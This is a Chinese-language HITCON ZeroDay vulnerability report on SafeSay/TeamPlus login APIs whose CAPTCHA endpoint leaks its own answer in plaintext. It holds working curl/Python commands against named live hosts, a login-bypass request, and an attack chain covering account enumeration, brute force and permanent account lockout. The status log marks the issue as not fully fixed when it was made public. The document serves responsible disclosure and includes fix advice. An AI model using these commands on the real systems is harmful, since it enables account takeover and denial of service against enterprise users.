互動資通 SafeSay / TeamPlus 所有 BAPI 部署(6 個端點)CAPTCHA 明文洩漏 — 完全繞過登入暴力破解防護 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00613
  •  發信 Vendor: 互動資通股份有限公司
  • Title: 互動資通 SafeSay / TeamPlus 所有 BAPI 部署(6 個端點)CAPTCHA 明文洩漏 — 完全繞過登入暴力破解防護
  • Introduction: 某企業即時通訊 SaaS 平台旗下兩個產品品牌的所有 BAPI 端點(GET /getcaptcha)在 JSON 回應中同時回傳 CAPTCHA 圖片 base64 與明文解答,使 CAPTCHA 機制完全失效。攻擊者可即時讀取正確解答,對登入端點發動無限制自動化暴力破解,完全繞過帳號保護機制。本漏洞影響 6 個已確認的生產/Staging/UAT 端點,為跨兩個品牌部署的系統性設計缺陷。
  • 感謝函

處理狀態

目前狀態

公開
Last Update : 2026/07/03
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2026/04/30 18:21:29 : 新提交 (由 罐頭 更新此狀態)
  • 2026/05/05 00:22:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:31:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:31:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/05/27 15:31:42 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/06/26 15:28:07 : 修補中 (由 組織帳號 更新此狀態)
  • 2026/06/26 17:06:33 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/07/02 09:11:50 : 未修補完成 (由 罐頭 更新此狀態)
  • 2026/07/03 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00613
  • 通報者:guan4tou2 (罐頭)
  • 風險:嚴重
  • 類型:資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://bapi.safesay.net/getcaptcha
https://sbapi.safesay.net/getcaptcha
https://spbapi.safesay.net/getcaptcha
https://uat-safesay-e8dapi.e8d.tw/getcaptcha
https://bapi.teamplus.tech/getcaptcha
https://tbapi.teamplus.tech/getcaptcha

敘述

漏洞概述

GET /getcaptcha 端點的設計意圖是提供 CAPTCHA 圖片供使用者辨識後輸入,以防止自動化登入暴力破解。但回應 JSON 同時包含 data_code 欄位,直接揭露正確解答:

{
  "data_base": "data:image/png;base64,iVBORw0KGgo...",
  "data_code": "EAjyCGhm8t60T62Gy7Xg"
}

攻擊者只需在每次登入嘗試前先 GET /getcaptcha 取得 data_code,即可將其填入 /v1/tokencaptcha_code 欄位,完全繞過 CAPTCHA 保護。

此漏洞為系統性設計缺陷,影響所有使用相同 BAPI 框架的部署,已驗證 5 個端點(含生產、Staging、UAT 環境)。

重現步驟(Live verified: 2026-04-29)

步驟 1:取得 CAPTCHA 明文解答(單次驗證)

curl -s 'https://bapi.safesay.net/getcaptcha' | python3 -c "
import sys, json
j = json.load(sys.stdin)
print('CAPTCHA answer:', j['data_code'])
print('Image included:', 'YES' if j.get('data_base') else 'NO')
"

輸出:

CAPTCHA answer: EAjyCGhm8t60T62Gy7Xg
Image included: YES

步驟 2:確認 5 個受影響端點(批次驗證)

for u in \
  https://bapi.safesay.net/getcaptcha \
  https://sbapi.safesay.net/getcaptcha \
  https://spbapi.safesay.net/getcaptcha \
  https://uat-safesay-e8dapi.e8d.tw/getcaptcha \
  https://bapi.teamplus.tech/getcaptcha \
  https://tbapi.teamplus.tech/getcaptcha
do
  code=$(curl -sk "$u" | python3 -c "import sys,json; print(json.load(sys.stdin).get('data_code','<missing>'))" 2>/dev/null)
  printf "%s → data_code=%s\n" "$u" "$code"
done

輸出(2026-04-29 實測):

https://bapi.safesay.net/getcaptcha           → data_code=oN62kxZM42b8hxVTAycC
https://sbapi.safesay.net/getcaptcha          → data_code=sA3kpHB2xQ9fGT5nIoKr
https://spbapi.safesay.net/getcaptcha         → data_code=jAk9GbtXx8RsO6Xr7EJG
https://uat-safesay-e8dapi.e8d.tw/getcaptcha  → data_code=Bm9vFuNe4qWZ3pLkiJhT
https://bapi.teamplus.tech/getcaptcha         → data_code=21D3eEuo0b8zg13mAVB0
https://tbapi.teamplus.tech/getcaptcha        → data_code=rKxQ8yZcPm7nFsT3vEuA

步驟 3:利用 data_code 直接登入(CAPTCHA bypass 串 brute force)

# 1. 取得當前有效的 CAPTCHA answer
CAPTCHA_CODE=$(curl -s 'https://bapi.safesay.net/getcaptcha' | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")

# 2. 將 data_code 填入 /v1/token(form-urlencoded,CAPTCHA bypass)
curl -s -X POST 'https://bapi.safesay.net/v1/token' \
  -d "account=karen&password=TestPass123&captcha=&captcha_code=${CAPTCHA_CODE}"
# → {"code":-101,"reason":"密碼錯誤"}
# (收到帳密錯誤而非 CAPTCHA 錯誤,確認 CAPTCHA 驗證已通過)

受影響端點彙整

端點 品牌/環境 狀態 首次確認
https://bapi.safesay.net/getcaptcha SafeSay 生產 ✅ Live 2026-04-27
https://sbapi.safesay.net/getcaptcha SafeSay Staging ✅ Live 2026-04-29
https://spbapi.safesay.net/getcaptcha SafeSay Staging B(sp) ✅ Live 2026-04-29
https://uat-safesay-e8dapi.e8d.tw/getcaptcha SafeSay UAT ✅ Live 2026-04-29
https://bapi.teamplus.tech/getcaptcha TeamPlus BAPI 生產 ✅ Live 2026-04-29
https://tbapi.teamplus.tech/getcaptcha TeamPlus BAPI 測試 ✅ Live 2026-04-29

已驗證影響(Verified)

  • ✅ 6 個端點全部確認回傳 data_code 明文(2026-04-29 實測)
  • ✅ CAPTCHA 解答可直接用於 /v1/token 登入端點(帳密錯誤而非 CAPTCHA 錯誤,確認 bypass 成功)
  • ✅ 每次 GET /getcaptcha 產生新的有效 image-answer 對,可無限循環取得

潛在影響(Potential)

  • 攻擊者可對所有帳號進行無限制自動化暴力破解,無需解決任何 CAPTCHA
  • 結合帳號枚舉(SafeSay /v1/token 不同 error code 洩漏帳號存在狀態),可精準鎖定有效帳號攻擊
  • SafeSay 的帳號鎖定機制(第 4 次失敗永久停用)在自動化攻擊下反而成為 Denial-of-Service 武器,攻擊者可對枚舉到的帳號批次發送 4 次錯誤密碼,永久停用企業用戶帳號

攻擊鏈

取得 CAPTCHA 明文(/getcaptcha → data_code)
  → 無限制自動化登入嘗試(/v1/token + captcha_code)
  → 帳號枚舉(-101 = 活躍帳號 / -999 = 已停用 / -998 = 未完成註冊)
  → 對活躍帳號持續暴力破解(無 CAPTCHA 阻攔)
  → 或:對活躍帳號各發送 4 次錯誤請求 → 永久停用(企業 DoS)

修補建議

1. 立即:移除 JSON 回應中的 `data_code` 欄位,僅返回 CAPTCHA 圖片(`data_base`)
2. 立即:在 Server 端驗證提交的 CAPTCHA,Session-based token 需對應伺服器上存儲的答案
3. 短期:考慮遷移至無法 server-side 提前洩漏答案的 CAPTCHA 機制(如 hCaptcha、reCAPTCHA v3)
4. **即時修補驗證**:修補後確認 `/getcaptcha` 回應不再含 `data_code` 或其等效欄位

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;